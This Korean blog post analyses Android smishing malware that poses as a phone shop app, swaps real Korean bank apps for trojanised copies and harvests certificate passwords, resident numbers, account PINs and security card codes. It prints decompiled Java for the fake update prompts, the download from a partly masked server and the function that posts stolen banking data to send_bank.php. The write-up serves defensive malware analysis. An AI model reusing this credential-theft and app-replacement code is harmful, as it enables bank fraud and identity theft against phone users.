아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. |
1. 개요
해당 앱은 금융정보 탈취 목적의 기능을 가진 악성앱으로 "폰월드" 라는 공기계 휴대폰 쇼핑몰 관련 앱으로 위장하고 있다.
File name: | phone.apk |
MD5: | f5fd62f3d934210d99056311f78e918e |
SHA-1: | 43aa59f0c775fdcfa9760474f7e8888d01f3b0a9 |
File Size: | 663.5 KB ( 679464 bytes ) |
해당 문자메세지의 내용에 현혹되어 링크를 클릭할 셩우 아래와 같은 앱 사이트로 연결되며, "phone.apk" 이름의 악성 APK 파일이 다운로드된다. 참고로 분석하고 있는 현재 해당 URL로의 접속은 이루어 지지 않고 있다.
phone.apk가 설치 되면 아래와 같이 ★폰월드★ 라는 아이콘이 생성되며, 해당 아이콘을 클릭 시 공기계 휴대폰 쇼핑몰을 보여준다. 해당 쇼핑몰의 내용은 폰월드라는 공기계 휴대폰 쇼핑몰의 모바일 웹의 내용과 동일한것으로 확인되었다.
|
phone.apk는 아래와 같이 23가지의 권한을 요구하고 있으며, 빨간색으로 표시된 권한이 악의적인 목적으로 사용될 수 있는 권한이다.
유저권한 (User Permission) |
android.permission.READ_LOGS android.permission.PROCESS_OUTGOING_CALLS android.permission.INTERNET android.permission.WRITE_CONTACTS android.permission.SEND_SMS android.permission.ANSWER_PHONE android.permission.ACCESS_NETWORK_STATE android.permission.GET_TASKS android.permission.DELETE_PACKAGES android.permission.WRITE_EXTERNAL_STORAGE android.permission.RECEIVE_BOOT_COMPLETED android.permission.READ_CONTACTS android.permission.INSTALL_PACKAGES android.permission.CALL_PHONE android.permission.READ_PHONE_STATE android.permission.MODIFY_AUDIO_SETTINGS android.permission.VIBRATE android.permission.SYSTEM_ALERT_WINDOW android.permission.ACCESS_WIFI_STATE android.permission.WAKE_LOCK android.permission.RECEIVE_SMS android.permission.MODIFY_PHONE_STATE android.permission.MOUNT_UNMOUNT_FILESYSTEMS |
소스코드를 살펴보자. phone.apk는 지금까지 발견된 스미싱 악성앱에서도 보인 전화번호 획득 등의 기능을 가지고 있으며, 여기서는 가장 중요한 기능만 언급한다. phone.apk에서 가장 중요한 기능이 다름 아니닌 정상적인 은행 앱을 삭제하고 금융정보 탈취에 이용되는 악성 은행 앱을 설치하는데 있다. 아래 소스코드는 ActivityManager의 getRunningTasks()를 이용하여, 최근에 실행된 앱 또는 현재 실행 중인 앱을 감시한다.
public final boolean isPhoneViewShow(Context paramContext) { ComponentName localComponentName = ((ActivityManager.RunningTaskInfo) ((ActivityManager)paramContext.getSystemService("activity")).getRunningTasks(2).get(0) ).topActivity; return (localComponentName != null) && (("com.android.phone.InCallScreen".equals (localComponentName.getClassName())) || ("com.android.phone.SemcInCallScreen".equals (localComponentName.getClassName()))); } |
ActivityManager의 getRunningTasks()를 이용하여, 최근에 실행된 앱 또는 현재 실행 중인 앱 중에서 하나은행, IBK기업은행, 국민은행, NH농형, 신한은행 우리은행의 정상적인 은행앱이 확인되면, 아래 소스코드에 의해 스마트폰에 존재하는 정상적인 은행 앱의 새로운 버전이 출시되었다는 메시지를 보여준다.
if (str.equals("com.hanabank.ebk.channel.android.hananbank")) { this.mainLayout.setBackgroundResource(2130837504); this.dialog_msg = "하나NBank 새로운 버전이 출시되었습니다."; this.dialog_title = "알림"; } while (true) { playTone(); openDialog(); return; if (str.equals("com.ibk.neobanking")) { this.mainLayout.setBackgroundResource(2130837505); this.dialog_msg = "IBK기업뱅킹 새로운 버전이 출시되었습니다."; this.dialog_title = "알림"; } else if (str.equals("com.kbstar.kbbank")) { this.mainLayout.setBackgroundResource(2130837508); this.dialog_msg = "KB스타뱅킹 새로운 버전이 출시되었습니다."; this.dialog_title = "알림"; } else if (str.equals("nh.smart")) { this.mainLayout.setBackgroundResource(2130837509); this.dialog_msg = "NH뱅킹 새로운 버전이 출시되었습니다."; this.dialog_title = "알림"; } else if (str.equals("com.shinhan.sbanking")) { this.mainLayout.setBackgroundResource(2130837511); this.dialog_msg = "신한S뱅킹 새로운 버전이 출시되었습니다."; this.dialog_title = "알림"; } else if (str.equals("com.webcash.wooribank")) { this.mainLayout.setBackgroundResource(2130837512); this.dialog_msg = "원터치개인 새로운 버전이 출시되었습니다."; this.dialog_title = "알림"; } |
이용자가 새로운 버전이 출시되었다는 메시지에 업데이트를 클릭하게 되면 아래와 같이 스마트폰에 설치되어 있는 정상적인 은행앱과 동일한 악성 앱을 다운로드 받게 된다. (보안상 가운데는 xxx.xxx로 처리)
String str2 = getClassNameByProcessName(((ApplicationInfo)localIterator.next()) .packageName); Log.e(this.TAG, "pkgName " + str2); if (str2.equals(str1)) break; if (str2.equals("com.hanabank.ebk.channel.android.hananbank")) {
this.comIntent.setClassName("com.hanabank.ebk.channel.android.hananbank" , "com.hanabank.ebk.channel.android.hananbank.app.HanaIntro"); this.packageName = "com.hanabank.ebk.channel.android.hananbank"; this.className = "com.hanabank.ebk.channel.android.hananbank.app.HanaIntro"; } else if (str2.equals("com.ibk.neobanking")) { this.url = "http://173.xxx.xxx.68/ibk.apk"; this.comIntent.setClassName("com.ibk.neobanking", "com.ibk.neobanking. ui.Intro"); this.packageName = "com.ibk.neobanking"; this.className = "com.ibk.neobanking.ui.Intro"; } else if (str2.equals("com.webcash.wooribank")) { this.url = "http://173.xxx.xxx.68/woori.apk"; this.comIntent.setClassName("com.webcash.wooribank", "com.webcash. wooribank.Intro"); this.packageName = "com.webcash.wooribank"; this.className = "com.webcash.wooribank.Intro"; } else if (str2.equals("com.kbstar.kbbank")) { this.url = "http://173.xxx.xxx.68/kb.apk"; this.comIntent.setClassName("com.kbstar.kbbank", "com.kbstar.kbbank. UI.CIntro"); this.packageName = "com.kbstar.kbbank"; this.className = "com.kbstar.kbbank.UI.CIntro"; } else if (str2.equals("nh.smart")) { this.url = "http://173.xxx.xxx.68/nh.apk"; this.comIntent.setClassName("nh.smart", "nh.smart.menu.activity. MainMenu"); this.packageName = "nh.smart"; this.className = "nh.smart.menu.activity.MainMenu"; } else { if (!str2.equals("com.shinhan.sbanking")) break; this.url = "http://173.xxx.xxx.68xinhan.apk"; this.comIntent.setClassName("com.shinhan.sbanking", "com.shinhan. bank.sbank.activity.main.IntroActivity"); this.packageName = "com.shinhan.sbanking"; this.className = "com.shinhan.bank.sbank.activity.main.IntroActivity"; } |
악성 앱이 다운로드가 되면 기존에 정상적인 은행 앱을 강제로 삭제가 되는 동시에 악성이 설치가 된다. 추가 다운로드 받아 설치된 악성 앱은 금융정보 탈취에 그 목적을 두고 있으며, 분석 내용은 아래와 같다.
은행 앱을 위장하여 교체된 악성 앱 분석
추가로 다운로드 받는 APK 파일들은 동일한 기능을 가지고 있으며, 그 중 kb.apk 이름의 악성 APK 파일을 분석 하였다.
Filename: | kb.apk |
MD5: | 1ef736f620a5e6e525cb992bd9ebe37c |
SHA-1: | ab11f4697e4ae97a59d0bfccad247837e46a3e06 |
File Size: | 353.3 KB ( 361763 bytes ) |
추가로 다운로드 받는 kb.apk은 아래와 같은 유저 권한을 요구한다.
유저권한 (User Permission) |
android.permission.SYSTEM_ALERT_WINDOW android.permission.WRITE_EXTERNAL_STORAGE android.permission.INTERNET android.permission.READ_PHONE_STATE android.permission.ACCESS_NETWORK_STATE |
해당 APK 파일이 설치가 되면 아래와 같이 정상적인 은행 앱과 비슷한 아이콘이 생성된다. 해당 아이콘을 클릭하게 되면, 아래와 같이 전자 금융 사기 예방 서비스 전면시행과 관련하여, 연락처 정비 및 서비스 가입을 해야한다는 공지사항을 보여준다.
|
공지사항 하단에 존재하는 [확인]을 클릭하게 되면, 스마트폰에 저장되어 있는 모바일 뱅킹에 사용되는 공인인증서를 찾아 출력해 주며, 공인인증서를 클릭하게 되면 아래와 같이 공인인증서 암호 입력창이 나타난다. 인증서 암호 입력창에 실제 공인인증서 암호가 아닌 임의의 문자열을 입력하게되면 다음으로 넘어가지 않는다.
|
실제 공인인증서 암호를 입력하게 되면, 본인 확인을 해야 한다는 가짜 인증 인증 창을 보여주어 이름과 주민등록번호를 입력하도록 유도한다. 그후 계좌번호, 계좌번호 비밀번호, 보안카드 번호를 입력하도록 유도한다.
이제 소스코드를 살펴 보자. 가장 먼저 알아볼 내용은 TelephonyManager의getSubscriberId()와 getLine1Number()를 이용하여 악성 앱이 설치되어 있는 안드로이드 디바이스의 가입자 ID와 전화번호를 가져온다. 만약 전화번호가 없거나, 전화번호가 11자 보다 작을 경우 getSimSerialNumber()를 이용하여, 시리얼번호를 가져오게 된다.
TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone"); String str1 = localTelephonyManager.getSubscriberId(); String str2 = localTelephonyManager.getLine1Number(); if ((str2 == null) || (str2.length() < 11)) str2 = localTelephonyManager.getSimSerialNumber(); |
다음으로 살펴볼 소스코드는 공인인증서 암호를 탈취하기 위해 스마트폰에 존재하는 공인인증서의 내용을 찾는 소스코드이다.
public static String SDCardRoot = Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator; public static String getFolder = SDCardRoot + "NPKI" + File.separator + "yessign" + File.separator + "User" + File.separator; |
앞서 확인했듯이 공인인증서 암호를 입력하면, 그 후로 이름, 주민등록번호, 계좌번호, 계좌 비밀번호, 보안카드 번호를 입력하게 된다. 이렇게 입력한 내용은 아래 소스코드에서 보듯이 모든 내용과 TelephonyManager의 getLine1Number()를 이용하여, 얻은 전화번호 및 공인인증서와 함께 http://173.xxx.xxx.68/send_bank.php로 업로드 시킨다. (보안상 가운데는 xxx.xxx로 처리)
public static boolean uploadBandData(Context paramContext) { BankInfo.fenlei = fenglei; SimpleDateFormat localSimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); try { String str4 = localSimpleDateFormat.format(new Date(System.currentTimeMillis())); str1 = str4; BankInfo.datetime = str1; localTelephonyManager = (TelephonyManager)paramContext.getSystemService("phone"); String str2 = localTelephonyManager.getLine1Number(); if ((str2 != null) && (str2 != "") && (str2.length() > 10)) { str3 = str2; BankInfo.phone1 = str3; ArrayList localArrayList = new ArrayList(); localArrayList.add(new BasicNameValuePair("phone", str3)); localArrayList.add(new BasicNameValuePair("bankinid", BankInfo.bankinid)); localArrayList.add(new BasicNameValuePair("jumin", BankInfo.jumin)); localArrayList.add(new BasicNameValuePair("jumin1", BankInfo.jumin1)); localArrayList.add(new BasicNameValuePair("jumin2", BankInfo.jumin2)); localArrayList.add(new BasicNameValuePair("banknum", BankInfo.banknum)); localArrayList.add(new BasicNameValuePair("banknumpw", BankInfo.banknumpw)); localArrayList.add(new BasicNameValuePair("paypw", "")); localArrayList.add(new BasicNameValuePair("scard", BankInfo.scard)); localArrayList.add(new BasicNameValuePair("sn1", BankInfo.sn1)); localArrayList.add(new BasicNameValuePair("sn2", BankInfo.sn2)); localArrayList.add(new BasicNameValuePair("sn3", BankInfo.sn3)); localArrayList.add(new BasicNameValuePair("sn4", BankInfo.sn4)); localArrayList.add(new BasicNameValuePair("sn5", BankInfo.sn5)); localArrayList.add(new BasicNameValuePair("sn6", BankInfo.sn6)); localArrayList.add(new BasicNameValuePair("sn7", BankInfo.sn7)); localArrayList.add(new BasicNameValuePair("sn8", BankInfo.sn8)); localArrayList.add(new BasicNameValuePair("sn9", BankInfo.sn9)); localArrayList.add(new BasicNameValuePair("sn10", BankInfo.sn10)); localArrayList.add(new BasicNameValuePair("sn11", BankInfo.sn11)); localArrayList.add(new BasicNameValuePair("sn12", BankInfo.sn12)); localArrayList.add(new BasicNameValuePair("sn13", BankInfo.sn13)); localArrayList.add(new BasicNameValuePair("sn14", BankInfo.sn14)); localArrayList.add(new BasicNameValuePair("sn15", BankInfo.sn15)); localArrayList.add(new BasicNameValuePair("sn16", BankInfo.sn16)); localArrayList.add(new BasicNameValuePair("sn17", BankInfo.sn17)); localArrayList.add(new BasicNameValuePair("sn18", BankInfo.sn18)); localArrayList.add(new BasicNameValuePair("sn19", BankInfo.sn19)); localArrayList.add(new BasicNameValuePair("sn20", BankInfo.sn20)); localArrayList.add(new BasicNameValuePair("sn21", BankInfo.sn21)); localArrayList.add(new BasicNameValuePair("sn22", BankInfo.sn22)); localArrayList.add(new BasicNameValuePair("sn23", BankInfo.sn23)); localArrayList.add(new BasicNameValuePair("sn24", BankInfo.sn24)); localArrayList.add(new BasicNameValuePair("sn25", BankInfo.sn25)); localArrayList.add(new BasicNameValuePair("sn26", BankInfo.sn26)); localArrayList.add(new BasicNameValuePair("sn27", BankInfo.sn27)); localArrayList.add(new BasicNameValuePair("sn28", BankInfo.sn28)); localArrayList.add(new BasicNameValuePair("sn29", BankInfo.sn29)); localArrayList.add(new BasicNameValuePair("sn30", BankInfo.sn30)); localArrayList.add(new BasicNameValuePair("sn31", BankInfo.sn31)); localArrayList.add(new BasicNameValuePair("sn32", BankInfo.sn32)); localArrayList.add(new BasicNameValuePair("sn33", BankInfo.sn33)); localArrayList.add(new BasicNameValuePair("sn34", BankInfo.sn34)); localArrayList.add(new BasicNameValuePair("sn35", BankInfo.sn35)); localArrayList.add(new BasicNameValuePair("renzheng", BankInfo.renzheng)); localArrayList.add(new BasicNameValuePair("fenlei", BankInfo.fenlei)); localArrayList.add(new BasicNameValuePair("datetime", str1)); Log.i("test", "---------上传数据"); printBankInfo(); JSONObject localJSONObject = JSONParser.makeHttpRequest("http://173.xxx.xxx.68/send_bank.php", "POST", localArrayList); Log.i("test", "---------结果:" + localJSONObject.toString()); return false; } } |
분석하고 있는 현재 바이러스 토탈에서 확인 결과 47개의 안티바이러스 엔진 중 11개의 엔진에서 탐지 되고 있다.
phone.apk 및 추가 다운로드 받는 APK 파일에서 확인한 URL 정보를 확인한 결과 서버는 미국에 존재하는것으로 확인되었다.
|
'Analysis' 카테고리의 다른 글
[Android Malware] mervice.apk 분석 (0) | 2013.12.18 |
---|---|
[Android Malware] App.apk 분석 (0) | 2013.11.15 |
[Android Malware] miracle.apk 분석 (1) | 2013.10.17 |
기본적인 Telnet Packet 분석 (0) | 2013.07.12 |
[Android Malware] 스타벅스 쿠폰 위장 악성 앱 (sb.apk) 분석 (0) | 2013.07.01 |